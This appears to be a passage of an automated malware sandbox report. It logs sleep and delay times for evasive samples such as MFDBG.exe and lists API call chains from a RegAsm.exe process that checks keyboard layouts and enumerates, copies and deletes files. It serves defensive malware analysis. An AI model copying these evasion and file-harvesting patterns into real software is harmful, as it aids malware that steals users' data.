Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -560446s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -560255s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -560074s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -559922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -559766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -559531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -559365s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -559172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -558969s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -558742s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -558516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -558373s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -558172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -558031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -557839s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -557650s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -557422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -557248s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -557093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -556906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -556759s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -556595s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -556406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -556252s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -556078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -555831s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -555599s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -555406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -555236s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -555058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -554902s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -554313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -554181s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -554000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -553803s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -553594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -553389s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -553192s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -552982s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -552780s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -552563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -552313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -551735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -551545s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -551297s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -551141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -550922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -550750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -550542s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -550357s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -550219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -550047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -549872s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -549683s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -549110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -548828s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -548578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -548375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -548172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -548009s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -547750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -547563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -547391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -547203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -546985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -546391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -546141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -545906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -545703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -545516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -545250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -545063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -544820s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -544516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -543436s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -543147s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -542890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -542700s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -542512s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -542250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -542053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -541883s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -541697s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -541485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -541073s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -540875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -540656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -540443s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -540281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -540078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -539875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -539672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -539400s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -539180s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -538961s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -538500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -538266s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -538066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -537890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -537672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -537502s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -537344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -537150s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -536938s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -536719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -536547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -536360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -536176s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -536003s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -535766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -535547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -535383s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -535210s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -535016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -534815s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -534640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -534453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -534199s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -533813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -533617s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -533464s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -533281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -533125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -532983s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -532797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -532656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -532469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -532328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -532156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -531953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -531806s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -531406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -531016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -530856s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -530718s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -530537s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -530344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -530156s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -529964s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -529781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -529623s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -529422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -529296s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -529078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -528919s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -528766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -528531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe TID: 1164	Thread sleep time: -528358s >= -30000s	Jump to behavior
Source: C:\ProgramData\BFIIEHJDBK.exe TID: 1308	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 516	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

3_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_0041510B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410FBA GetSystemInfo,wsprintfA,

3_2_00410FBA

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99747	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99548	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99089	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98802	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98314	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 97781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99973	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99484	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99103	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99952	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99730	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 99047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596479	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595883	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595319	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594591	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594394	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 594125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593937	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593758	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 593582	Jump to behavior
